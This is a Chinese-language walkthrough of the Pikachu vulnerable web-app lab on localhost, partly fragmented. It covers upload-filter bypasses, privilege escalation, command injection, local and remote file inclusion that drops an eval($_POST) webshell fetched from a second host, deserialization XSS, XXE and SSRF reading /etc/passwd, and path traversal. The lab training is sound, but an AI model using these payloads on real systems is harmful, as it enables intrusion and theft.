很多Web站点因业务需要,会开放一下文件上传的接口。而当后台没有对文件上传功能进行安全考虑或采用了有缺陷的措施,可能会导致黑客可以上传一些如一句话木马等恶意文件,并通过该恶意文件来控制整个Web后台。
00
截断等shell.php
,发现页面弹框:上传的文件不符合要求,请重新选择!
checkFileExt(this.value)
函数,可以看到此函数对上传文件的后缀进行了限制,只允许上传jpg/png/gif
等图片格式的文件。<script>
function checkFileExt(filename){
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++){
if(ext == arr[i]){
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag){
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
</script>
shell.jpg
,并使用Burp抓包,将后缀改回.php
,成功上传。然后可以在页面看到返回路径为uploads/shell.php
,通过菜刀/蚁剑连接即可。Content-Type
为图片格式即可,如image/jpeg
TXT文本 text/plain
GIF图片 image/git
JPG图片 image/jpeg
Getimagesize()
函数的返回结果中含有文件大小和文件类型,如果用此函数来获取文件类型,从而判断是否图片的话,可通过伪造图片头进行绕过
a.jpg
和一个木马文件shell.php
。打开CMD
,使用如下命令进行合成 # copy /b 图片.png + 木马.php 图片木马.png
copy /b a.png + shell.php muma.png
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。因此,在权限管理中应该遵守:
A用户和B用户属于同一级别用户,但不能操作对方的个人信息。A用户如果越权操作B用户的个人信息的情况则称为水平越权。
lucy/123456,lili/123456,kobe/123456
,点击查看个人信息,发现通过URL传递了参数username
,尝试修改为其它用户,可以看到其它用户的信息A用户权限低于B用户,如果A用户越权使用B用户的权限,如普通用户可以使用管理员范围的权限,则属于垂直越权。
这里有2个账号:超级管理员admin/123456
可以查看、增删用户,普通管理员pikachu/000000
只能查看用户
Repeater
Repeater
中点击发包,点击上方右箭头跟随重定向,可以看到用户添加成功Repeater
模块,点击左箭头查看刚才添加用户的数据包,并将Cookie替换为上一步抓取到的普通管理员Cookie,点击发包。RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
exec "ping"
漏洞环境,任意Ping一下,得到Ping相关信息。127.0.0.1
&&
拼接其它命令,测试是否存在RCE
漏洞127.0.0.1 && whoami
phpinfo();
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如在PHP中,提供了:include()
、include_once()
、require()
、require_once()
等文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端传入。这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
file include(local)
漏洞,下拉框任意选择球星后点提交。可看到URL如下:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=提交
filename
参数传递了需要包含的本地文件。这里可以通过传入一些固定的系统配置文件来尝试获取敏感系统信息,如/etc/passwd
。可通过../
逐层返回到根目录http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../etc/passwd&submit=提交
php.ini
配置文件中打开allow_url_include
,并重启服务使其生效。allow_url_include = On
192.168.1.103
,其网站根目录下存在文件new.txt
,内容如下<?php
$file = fopen("shell.php", "w");
$shell = '<?php eval($_POST[x]); ?>';
fwrite($file, $shell);
fclose($file);
?>
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.txt?filename=http://192.168.1.103/new.txt&submit=提交
shell.php
,使用蚁剑连接http://127.0.0.1/pikachu/vul/fileinclude/shell.php
http/https
防御RFI。但可通过http://http://
的形式传入绕过防御。 <?php
$file = $_GET['page']; //替换字符串
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
php.ini
文件 allow_url_fopen = off
Allow_url_include = off
magic_quotes_gpc = on
serialize()
class S{
public $test="pikachu";
}
$s = new S(); // 创建一个对象
serialize($s); // 把这个对象进行序列化
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:变量名数据类型
4:变量名的长度
test:变量名
s:变量值数据类型
7:变量值的长度
pikachu:变量值
unserialize()
$u = unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; // 输出反序列化结果中的test变量,即pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。常见的魔法函数:
__construct()
,当一个对象创建时被调用__destruct()
,当一个对象销毁时被调用__toString()
,当一个对象被当作一个字符串使用__sleep()
,在对象在被序列化之前运行__wakeup
,将在序列化之后立即被调用class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
pikachu
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
pikachu
被一对<p>
标签包裹,构造一下Payloadpikachu</p><script>alert('xss')</script>
O:1:"S":1:{s:4:"test";s:40:"pikachu</p><script>alert('xss')</script>";}
XML外部实体注入漏洞。概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"。也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
libxml
,其在>=2.9.0
版本中是默认禁止解析XML外部实体内容的,但可以通过添加LIBXML_NOENT
参数来开启外部实体解析。$xml = $_POST['xml'];
# simplexml_load_string()函数: 将XML字符串转换为SimpleXMLElement对象
$data = @simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT)
...
user
的值<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [
<!ENTITY user "Naraku">
]>
<!--文档元素-->
<name>&user;</name>
SYSTEM
关键字去指定一个外部实体,从而读取外部的数据,如/etc/passwd
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
服务器端请求伪造。攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制。
攻击者 -> 服务器 -> 目标地址
# PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
url
参数,可以达到对目标所在网段进行扫描等功能,如扫描目标站点是否开启22
端口http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:22
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/myfile.txt
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
ssrf.php
文件并以Base64编码形式返回,<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "ssrf.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR.'header.php';
?>
<div class="main-content">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon"></i>
<a href="ssrf.php"></a>
</li>
<li class="active">概述</li>
</ul>
</div>
<div class="page-content">
<b>SSRF(Server-Side Request Forgery:服务器端请求伪造)</b>
<p>其形成的原因大都是由于服务端<b>提供了从其他服务器应用获取数据的功能</b>,但又没有对目标地址做严格过滤与限制</p>
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据<br>
<br>
数据流:攻击者----->服务器---->目标地址<br>
<br>
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
<pre style="width: 500px;">
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
</pre><br>
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,<b>则请做好目标地址的过滤</b>。
<br>
<br>
你可以根据"SSRF"里面的项目来搞懂问题的原因
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
include_once $PIKA_ROOT_DIR . 'footer.php';
?>
这里利用方式和前面本地文件包含类似,通过构造路径读取敏感文件
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../etc/passwd
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../etc/passwd
通过F12查看注释,得到账户密码lili/123456
url
参数控制跳转页面,可将其重定向到恶意站点http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php?url=目标站点